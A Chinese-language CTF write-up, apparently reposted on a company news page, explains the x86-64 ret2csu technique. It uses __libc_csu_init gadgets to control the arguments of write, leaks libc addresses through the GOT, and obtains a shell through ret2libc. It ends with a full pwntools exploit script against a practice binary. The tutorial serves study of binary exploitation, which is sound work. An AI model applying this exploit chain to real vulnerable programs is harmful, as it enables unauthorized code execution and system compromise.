尧图网站建设 尧图网络
  • 首页
  • 关于我们
  • 服务项目
  • 案例展示
  • 建站流程
  • 资讯中心
  • 联系我们
首页/资讯中心/详情

ret2csu全网超详细讲解!!!

ret2csu全网超详细讲解!!!
📅 发布时间:2026/7/12 17:53:30

序言

学习ret2libc的时候做了很多题目,i386的也好,x64的也罢,感觉都千篇一律吧,也没有什么难度(找libc的时候很痛苦,我单纯嫌他麻烦。。。)。直到今天遇到了没有puts​函数的x64程序,能够用来泄露地址的函数只有write​,本以为思路都一样,无非就是write​传入的参数变成了3个呗。万万没想到,ROP gadget不出rdx​(x64程序的函数传入参数优先使用寄存器,顺序依次是rdi​,rsi​,rdx​,rcx​,r8​,r9​)?!意味着write​函数的第三个参数传不进去。这可如何是好?

于是在我一番学习大佬的文章之后,了解了,这种攻击手段就是鲜为人知的(起码在此之前我不知道)ret2csu。

接下来看看攻击链构造的原理(以ret2csu题目为例)

题目准备

程序只开了NX保护

存在栈溢出漏洞

突破口:函数__libc_csu_init​

分析__libc_csu_init​

​__libc_csu_init​ 是glibc中负责 C 运行时初始化的函数,在程序入口 _start​ 调用 __libc_csu_init​ 后会调用 main​。它在二进制文件中通常始终存在(动态链接的 64 位程序),而且其末尾包含一组非常通用的 ROP gadget,允许攻击者同时控制 rdi​、rsi​、rdx​ 三个参数并调用任意函数。这一特性使它在缺少 pop rdx​ 等 gadget 时成为 64 位 ROP 利用的“瑞士军刀”。

以ret2csu程序为例

​__libc_csu_init​可以利用的核心就这两部分,我把这两部分拎出来仔细研究。这里做一个定义,第一个红色框的部分记作gadget2有效部分(“有效部分”原因后面会陈述),第二个红色框记作gadget1。

//gadget1 .text:00000000004006AA pop rbx .text:00000000004006AB pop rbp .text:00000000004006AC pop r12 .text:00000000004006AE pop r13 .text:00000000004006B0 pop r14 .text:00000000004006B2 pop r15 .text:00000000004006B4 retn
//gadget2有效部分 .text:0000000000400690 mov rdx, r13 .text:0000000000400693 mov rsi, r14 .text:0000000000400696 mov edi, r15d .text:0000000000400699 call ds:(__frame_dummy_init_array_entry - 600840h)[r12+rbx*8] .text:000000000040069D add rbx, 1 .text:00000000004006A1 cmp rbx, rbp .text:00000000004006A4 jnz short loc_400690
//gadget2 .text:0000000000400690 mov rdx, r13 .text:0000000000400693 mov rsi, r14 .text:0000000000400696 mov edi, r15d .text:0000000000400699 call ds:(__frame_dummy_init_array_entry - 600840h)[r12+rbx*8] .text:000000000040069D add rbx, 1 .text:00000000004006A1 cmp rbx, rbp .text:00000000004006A4 jnz short loc_400690 .text:00000000004006A6 .text:00000000004006A6 loc_4006A6: ; CODE XREF: __libc_csu_init+36↑j .text:00000000004006A6 add rsp, 8 .text:00000000004006AA pop rbx .text:00000000004006AB pop rbp .text:00000000004006AC pop r12 .text:00000000004006AE pop r13 .text:00000000004006B0 pop r14 .text:00000000004006B2 pop r15 .text:00000000004006B4 retn

我们先来看一下,这里如何利用

在gadget2有效部分中:

.text:0000000000400690 mov rdx, r13 .text:0000000000400693 mov rsi, r14 .text:0000000000400696 mov edi, r15d

这三条语句涉及到寄存器edi(rdi)​、rsi​、rdx​。正好可以作为write​函数的三个传参寄存器。(这里的edi是64位寄存器的rdi的低32位)而这三位寄存器的值分别对应r15​、r14​、r13​。也就是说如果我们能设置r15​、r14​、r13​的值就可以使用write​函数泄露地址。思路很明确,那我们能不能设置r15​、r14​、r13​呢?
答案就在我们的gadget1中:

.text:00000000004006AE pop r13 .text:00000000004006B0 pop r14 .text:00000000004006B2 pop r15

很明显,这里可以通过栈上的值分别对r13​、r14​、r15​进行赋值。那么问题又出现了,我们能控制栈上的值吗?显然,栈溢出啊!

寄存器传参问题解决了,如何调用write函数呢,继续观察gadget2有效部分

.text:0000000000400690 mov rdx, r13 .text:0000000000400693 mov rsi, r14 .text:0000000000400696 mov edi, r15d .text:0000000000400699 call [r12+rbx*8] <-简化后

我们可以控制r12​和rbx​寄存器以达到执行任意函数的目的,哎?那是不是说也可以执行write​!非常好,我们缕一缕思路

​__libc_csu_init​利用思路

我们首先通过gadget1:

//gadget1 .text:00000000004006AA pop rbx .text:00000000004006AB pop rbp .text:00000000004006AC pop r12 .text:00000000004006AE pop r13 .text:00000000004006B0 pop r14 .text:00000000004006B2 pop r15 .text:00000000004006B4 retn

设置r13​、r14​、r15​的值,retn到gadget2。

这里需要注意:

gadget1涉及到rbx​和rbp​还有r12​,应该赋值多少呢?rbx​赋值为0,rbp​赋值为1,而r12​应赋值为存储欲调用函数地址的地址(人话:函数的got地址),这里就是write​的地址。为什么是这样呢?答案在gadget2有效部分中

//gadget2有效部分 .text:0000000000400690 mov rdx, r13 .text:0000000000400693 mov rsi, r14 .text:0000000000400696 mov edi, r15d .text:0000000000400699 call [r12+rbx*8] .text:000000000040069D add rbx, 1 .text:00000000004006A1 cmp rbx, rbp .text:00000000004006A4 jnz short loc_400690

当我们把rdx(r13)​赋值为0,同时rbp​赋值为1,有两个作用。

第一,.text:0000000000400699 call [r12+rbx*8]​call的地址只被r12​控制,这是好事啊!所以,我们只要把r12​赋值为write​的got表地址就可以直接调用write​函数了。到这里,write​函数的传参和调用问题就基本解决了。

第二,我们来看gadget2有效部分的后半部分

.text:000000000040069D add rbx, 1 .text:00000000004006A1 cmp rbx, rbp .text:00000000004006A4 jnz short loc_400690

这明显是一个循环,如果rbx != rbp​就会跳回.text:0000000000400690 mov rdx, r13​这条语句,那我们看rbx​我们赋值为0,rbp​赋值为1,执行.text:000000000040069D add rbx, 1​这条语句之后rbx = rbp​了,秒啊!直接跳出循环了,咳咳。不过不能高兴太早,跳出循环之后,不意味着代码直接retn了,还会继续向下执行,接下来执行的就是.text:00000000004006A6 add rsp, 8​加上gadget1部分了。

//gadget2 .text:0000000000400690 mov rdx, r13 .text:0000000000400693 mov rsi, r14 .text:0000000000400696 mov edi, r15d .text:0000000000400699 call ds:(__frame_dummy_init_array_entry - 600840h)[r12+rbx*8] .text:000000000040069D add rbx, 1 .text:00000000004006A1 cmp rbx, rbp .text:00000000004006A4 jnz short loc_400690 .text:00000000004006A6 .text:00000000004006A6 loc_4006A6: ; CODE XREF: __libc_csu_init+36↑j //该执行下边这段汇编指令了 .text:00000000004006A6 add rsp, 8 .text:00000000004006AA pop rbx .text:00000000004006AB pop rbp .text:00000000004006AC pop r12 .text:00000000004006AE pop r13 .text:00000000004006B0 pop r14 .text:00000000004006B2 pop r15 .text:00000000004006B4 retn

对于我们现在来说,gadget1完全是累赘啊,我们现在最大的愿望就是赶紧retn到我们的main函数进行下一轮攻击。这些汇编躲是躲不掉了,干脆和他爆了。分析这些指令对栈有什么影响.text:00000000004006A6 add rsp, 8​相当于一次pop​,加上后边6次pop​,一共7次,那就是吃掉了我们7*8=56​个字节的栈空间。那我们构造攻击链时将main​函数的地址放在56个填充字节后就ok了,妙啊!

构造好的栈就是这个样子:

多打几遍payload,多泄露几个函数(write_va​、read_va​、__libc_start_main_va​),我们就可以锁定libc的版本。

到这里函数__libc_csu_init​的使命就结束了。

getshell

这时候又有同学要问了:“锁定libc的版本之后呢?怎么getshell啊?”

“哎,接下来就可以直接用ret2libc的手法。”

那么这时候又有同学要问了:“什么是ret2libc啊?”

“哎,问得好!你不会ret2libc你学集贸ret2csu啊!滚去学习。”

啊当然,做事情要有始有终,这里也简单说一下:

通过泄露的write_va​函数或者其他任意一个函数,减去libc中的该函数的相对地址(这里就是write_rva​)就得到了我们的libc的imagebase​,用得到的imagebase + system_rva​就是实际的system_va​,用得到的imagebase + binsh_rva​就是实际的binsh_va​。别忘了这是64位程序,system​传参使用rdi​寄存器,栈对齐需要垫一个ret​,我们ROP gadget一下。

构造好的栈就是这个样子:

成功getshell!!!完结撒花,最后附上题目和EXP供各位师傅参考。

EXP

from pwn import * context(arch = 'amd64', os = 'linux') p = process('./ret2csu') elf = ELF('./ret2csu') write_plt = elf.plt['write'] write_got = elf.got['write'] __libc_start_main = elf.got['__libc_start_main'] read_got = elf.got['read'] function_addr = 0x4005e6 gadget1 = 0x4006aa gadget2 = 0x400690 # ***************泄露write地址*************** payload1 = b"a" * 0x88 + p64(gadget1) + p64(0) + p64(1) + p64(write_got) + p64(8) + p64(write_got) + p64(1) payload1 += p64(gadget2) + b'\x00' * 56 + p64(function_addr) p.recvline() p.send(payload1) write_va = u64(p.recv(8)) print("write_va: ", hex(write_va)) # ***************泄露read地址*************** payload2 = b"a" * 0x88 + p64(gadget1) + p64(0) + p64(1) + p64(write_got) + p64(8) + p64(read_got) + p64(1) payload2 += p64(gadget2) + b'\x00' * 56 + p64(function_addr) p.recvline() p.send(payload2) read_va = u64(p.recv(8)) print("read_va: ", hex(read_va)) # ***************泄露__libc_start_main地址*************** payload2 = b"a" * 0x88 + p64(gadget1) + p64(0) + p64(1) + p64(write_got) + p64(8) + p64(__libc_start_main) + p64(1) payload2 += p64(gadget2) + b'\x00' * 56 + p64(function_addr) p.recvline() p.send(payload2) __libc_start_main_va = u64(p.recv(8)) print("__libc_start_main_va: ", hex(__libc_start_main_va)) # ***************确定libc版本号&计算libc基地址*************** # glibc-aio read 0x71caad706350 write 0x7b8ea01fc3b0 __libc_start_main 0x72f22371fe50 # libc版本:2.19-0ubuntu6.15_amd64 libc = ELF('./libc-2.19.so') poprdi_ret = 0x4006b3 ret = 0x400499 libc_base = write_va - libc.symbols['write'] system_va = libc_base + libc.symbols['system'] binsh_va = libc_base + next(libc.search(b'/bin/sh')) # ***************get shell!!!!*************** payload2 = b"a" * 0x88 + p64(poprdi_ret) + p64(binsh_va) + p64(ret) + p64(system_va) p.recvline() p.send(payload2) p.interactive()

请各位师傅批评指正

相关新闻

  • 鱼香ROS安装脚本v2.0:5大核心功能与Dockerfile自动化集成指南
  • 微信小程序定位测试:开发者工具模拟 vs 真机GPS/网络定位的3大差异点
  • TrollInstallerX:iOS 14-16.6.1设备终极安装指南,3分钟部署TrollStore

最新新闻

  • 深夜出图总失败?:紧急修复Midjourney氛围崩坏的4种实时诊断法——从seed漂移到--s参数过载全链路排查
  • 如何为Inventory Kamera添加新角色支持:开发者手动更新数据库指南
  • Prompt 工程已死?我转投 Agent Loop 后的真实感受
  • HarmonyOS旅行探索——城市详情页的结构化信息展示
  • M87模型许可证解析:Apache-2.0许可下的商用与二次开发完整指南
  • 2026年惠阳黄金回收推荐解析:资质与服务维度盘点 - 生活测评小能手

日新闻

  • IX9104 PCIe5.0 高速交换芯片@ACP#完整规格 + 应用场景总结
  • Unity游戏集成Coze智能体:实现NPC智能对话与知识库联动
  • SAP EPIC 建行回单查询:从标准类CL_EPIC_EXAMPLE_CN_CCB_GHTD到Z类的5处关键修改

周新闻

  • IX9104 PCIe5.0 高速交换芯片@ACP#完整规格 + 应用场景总结
  • Unity游戏集成Coze智能体:实现NPC智能对话与知识库联动
  • SAP EPIC 建行回单查询:从标准类CL_EPIC_EXAMPLE_CN_CCB_GHTD到Z类的5处关键修改

月新闻

  • 2026年6月公司网站搭建最新热门渠道测评:四大低成本/零代码平台对比+避坑
  • 【Linux】Linux arm 编译QT程序,出现expected “}“报错
  • 【MATLAB例程】四基站二维AOA定位与距离辅助增强对比仿真。基于角度观测和测距修正的固定目标平面定位精度分析

关于尧图

  • 公司简介
  • 团队介绍
  • 企业文化
  • 荣誉资质

服务项目

  • 定制开发
  • 电商建站
  • UI 设计
  • 运维服务

快速链接

  • 案例展示
  • 建站流程
  • 常见问题
  • 资讯中心

联系方式

  • 📍北京市朝阳区互联网产业园 A 座 10 层
  • 📞400-888-8888
  • ✉️contact@rkmt.cn
  • 🕐周一至周日 9:00-21:00

© 2024 北京尧图网络科技有限公司 版权所有 | 京 ICP 备 XXXXXXXX 号